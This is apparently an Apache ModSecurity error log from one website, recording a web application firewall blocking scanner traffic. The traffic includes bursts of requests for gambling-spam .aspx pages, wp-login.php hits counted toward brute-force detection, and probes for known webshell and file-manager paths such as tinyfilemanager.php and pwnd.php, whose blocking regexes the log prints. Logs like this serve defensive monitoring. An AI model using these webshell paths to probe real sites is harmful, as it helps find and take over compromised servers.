[Tue Apr 21 15:56:25.254406 2026] [:error] [pid 35321:tid 35391] [client 91.65.123.43:49330] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aectqTeHLhVUuu8cVXzKCwAAAEc"]
[Tue Apr 21 15:56:27.781045 2026] [:error] [pid 54080:tid 54084] [client 91.65.123.43:20242] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aectq4zEbQHHxtmWbaZjvQAAAsI"]
[Tue Apr 21 15:56:30.438594 2026] [:error] [pid 35321:tid 35402] [client 91.65.123.43:51640] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aectrjeHLhVUuu8cVXzKFQAAAFI"]
[Tue Apr 21 15:56:32.911251 2026] [:error] [pid 53832:tid 53838] [client 91.65.123.43:62729] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aectsNzkuxsE_OhM9UItIQAAAkM"]
[Tue Apr 21 15:56:35.426770 2026] [:error] [pid 53832:tid 53842] [client 91.65.123.43:21077] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aects9zkuxsE_OhM9UItNAAAAkc"]
[Tue Apr 21 15:56:37.887409 2026] [:error] [pid 35321:tid 35388] [client 91.65.123.43:41171] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aecttTeHLhVUuu8cVXzKJgAAAEQ"]
[Tue Apr 21 15:56:40.540943 2026] [:error] [pid 53731:tid 53743] [client 91.65.123.43:4952] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aectuF2I9THUR-bRVGziYQAAAgg"]
[Tue Apr 21 15:56:43.031325 2026] [:error] [pid 35321:tid 35388] [client 91.65.123.43:3826] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aectuzeHLhVUuu8cVXzKOgAAAEQ"]
[Tue Apr 21 15:56:45.475483 2026] [:error] [pid 35321:tid 35404] [client 91.65.123.43:17647] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aectvTeHLhVUuu8cVXzKRgAAAFQ"]
[Tue Apr 21 15:56:48.990100 2026] [:error] [pid 35321:tid 35406] [client 91.65.123.43:50604] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aectwDeHLhVUuu8cVXzKXgAAAFY"]
[Tue Apr 21 15:56:51.524034 2026] [:error] [pid 35321:tid 35406] [client 91.65.123.43:6421] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aectwzeHLhVUuu8cVXzKbQAAAFY"]
[Tue Apr 21 15:56:54.016652 2026] [:error] [pid 35321:tid 35398] [client 91.65.123.43:9149] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aectxjeHLhVUuu8cVXzKfQAAAE4"]
[Tue Apr 21 15:56:56.620702 2026] [:error] [pid 35320:tid 35333] [client 91.65.123.43:61722] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aectyIJW6fdXWO6agMEo7wAAAAM"]
[Tue Apr 21 15:56:59.106652 2026] [:error] [pid 35415:tid 35434] [client 91.65.123.43:13331] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aecty0iqDinI4_22zzhbxwAAAMc"]
[Tue Apr 21 15:57:01.612614 2026] [:error] [pid 35321:tid 35386] [client 91.65.123.43:49675] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aectzTeHLhVUuu8cVXzKowAAAEI"]
[Tue Apr 21 15:57:04.224762 2026] [:error] [pid 35321:tid 35403] [client 91.65.123.43:52630] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aect0DeHLhVUuu8cVXzKsAAAAFM"]
[Tue Apr 21 15:57:06.739935 2026] [:error] [pid 35321:tid 35384] [client 91.65.123.43:57476] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aect0jeHLhVUuu8cVXzKxwAAAEA"]
[Tue Apr 21 15:57:09.184752 2026] [:error] [pid 4823:tid 4865] [client 91.65.123.43:43674] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aect1fc8mke3PfHqsxHNNwAAAYw"]
[Tue Apr 21 15:57:11.714590 2026] [:error] [pid 54080:tid 54084] [client 91.65.123.43:51134] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aect14zEbQHHxtmWbaZj6QAAAsI"]
[Tue Apr 21 15:57:14.689462 2026] [:error] [pid 35321:tid 35404] [client 91.65.123.43:50065] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aect2jeHLhVUuu8cVXzK_gAAAFQ"]
[Tue Apr 21 15:57:35.655066 2026] [:error] [pid 54080:tid 54096] [client 91.65.123.43:15714] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aect74zEbQHHxtmWbaZkAwAAAs4"]
[Tue Apr 21 15:57:38.185229 2026] [:error] [pid 53978:tid 53987] [client 91.65.123.43:35508] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aect8p1ivsR4hcOSQba7OwAAAoc"]
[Tue Apr 21 15:57:40.677812 2026] [:error] [pid 53978:tid 53986] [client 91.65.123.43:24040] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aect9J1ivsR4hcOSQba7RAAAAoY"]
[Tue Apr 21 15:57:43.279111 2026] [:error] [pid 4823:tid 4856] [client 91.65.123.43:46975] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aect9_c8mke3PfHqsxHNVQAAAYM"]
[Tue Apr 21 15:57:45.742869 2026] [:error] [pid 54080:tid 54086] [client 91.65.123.43:45583] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aect-YzEbQHHxtmWbaZkCAAAAsQ"]
[Tue Apr 21 15:57:48.087196 2026] [:error] [pid 35320:tid 35344] [client 91.65.123.43:7364] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aect_IJW6fdXWO6agMEpMgAAAA4"]
[Tue Apr 21 15:57:50.688591 2026] [:error] [pid 35321:tid 35386] [client 91.65.123.43:13300] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aect_jeHLhVUuu8cVXzLlwAAAEI"]
[Tue Apr 21 15:57:53.148893 2026] [:error] [pid 35320:tid 35348] [client 91.65.123.43:43831] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aecuAYJW6fdXWO6agMEpOgAAABI"]
[Tue Apr 21 15:57:55.484834 2026] [:error] [pid 35322:tid 35374] [client 91.65.123.43:32702] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aecuA6PoAfV40BTfVKzICwAAAJE"]
[Tue Apr 21 15:57:58.091972 2026] [:error] [pid 53832:tid 53850] [client 91.65.123.43:28692] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aecuBtzkuxsE_OhM9UIt4QAAAk8"]
[Tue Apr 21 15:58:00.921165 2026] [:error] [pid 35320:tid 35354] [client 91.65.123.43:25650] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aecuCIJW6fdXWO6agMEpQgAAABg"]
[Tue Apr 21 15:58:03.466566 2026] [:error] [pid 54080:tid 54103] [client 91.65.123.43:16580] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aecuC4zEbQHHxtmWbaZkDgAAAtU"]
[Tue Apr 21 15:58:05.936800 2026] [:error] [pid 35415:tid 35440] [client 91.65.123.43:30226] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aecuDUiqDinI4_22zzhb-QAAAM0"]
[Tue Apr 21 15:58:08.429630 2026] [:error] [pid 53832:tid 53838] [client 91.65.123.43:30404] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aecuENzkuxsE_OhM9UIuAQAAAkM"]
[Tue Apr 21 15:58:10.864072 2026] [:error] [pid 35321:tid 35402] [client 91.65.123.43:43654] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aecuEjeHLhVUuu8cVXzLwAAAAFI"]
[Tue Apr 21 15:58:13.157954 2026] [:error] [pid 54080:tid 54095] [client 91.65.123.43:6902] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aecuFYzEbQHHxtmWbaZkFAAAAs0"]
[Tue Apr 21 15:58:15.635879 2026] [:error] [pid 35321:tid 35396] [client 91.65.123.43:3363] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aecuFzeHLhVUuu8cVXzL1wAAAEw"]
[Tue Apr 21 15:58:18.110069 2026] [:error] [pid 4823:tid 4855] [client 91.65.123.43:52629] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aecuGvc8mke3PfHqsxHNhwAAAYI"]
[Tue Apr 21 17:09:28.005687 2026] [:error] [pid 35321:tid 35403] [client 170.64.152.184:55511] [client 170.64.152.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.152.184, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aec-yDeHLhVUuu8cVXzw_AAAAFM"]
[Tue Apr 21 17:09:28.079839 2026] [:error] [pid 54080:tid 54091] [client 170.64.152.184:55544] [client 170.64.152.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.152.184, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aec-yIzEbQHHxtmWbaaAYwAAAsk"]
[Tue Apr 21 17:59:41.424264 2026] [:error] [pid 35320:tid 35342] [client 79.137.64.41:37702] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aedKjYJW6fdXWO6agMFm5QAAAAw"]
[Tue Apr 21 17:59:43.855761 2026] [:error] [pid 35320:tid 35336] [client 79.137.64.41:35060] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aedKj4JW6fdXWO6agMFm-QAAAAY"]
[Tue Apr 21 17:59:46.348246 2026] [:error] [pid 35321:tid 35385] [client 79.137.64.41:35062] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aedKkjeHLhVUuu8cVXwTKQAAAEE"]
[Tue Apr 21 17:59:48.799365 2026] [:error] [pid 35320:tid 35346] [client 79.137.64.41:35068] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aedKlIJW6fdXWO6agMFnBgAAABA"]
[Tue Apr 21 17:59:51.250104 2026] [:error] [pid 35415:tid 35441] [client 79.137.64.41:42418] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aedKl0iqDinI4_22zzhldAAAAM4"]
[Tue Apr 21 17:59:53.739193 2026] [:error] [pid 53731:tid 53758] [client 79.137.64.41:42424] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aedKmV2I9THUR-bRVGwh4AAAAhY"]
[Tue Apr 21 17:59:56.219032 2026] [:error] [pid 35322:tid 35368] [client 79.137.64.41:42432] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aedKnKPoAfV40BTfVKzQUAAAAIs"]
[Tue Apr 21 19:26:37.337804 2026] [:error] [pid 35320:tid 35353] [client 43.163.110.140:60642] [client 43.163.110.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aede7YJW6fdXWO6agMGTWgAAABc"]
[Tue Apr 21 20:26:22.249785 2026] [:error] [pid 35321:tid 35389] [client 45.137.126.31:26777] [client 45.137.126.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeds7jeHLhVUuu8cVXyKtAAAAEU"]
[Tue Apr 21 20:26:24.693864 2026] [:error] [pid 35320:tid 35336] [client 45.137.126.44:55767] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeds8IJW6fdXWO6agMGyUwAAAAY"]
[Tue Apr 21 20:26:28.638229 2026] [:error] [pid 35321:tid 35392] [client 45.137.126.18:31329] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeds9DeHLhVUuu8cVXyKywAAAEg"]
[Tue Apr 21 20:26:31.108963 2026] [:error] [pid 53731:tid 53743] [client 45.137.126.51:36977] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aeds912I9THUR-bRVGxaBQAAAgg"]
[Tue Apr 21 20:26:35.023497 2026] [:error] [pid 35321:tid 35402] [client 45.137.126.32:42777] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aeds-zeHLhVUuu8cVXyK-gAAAFI"]
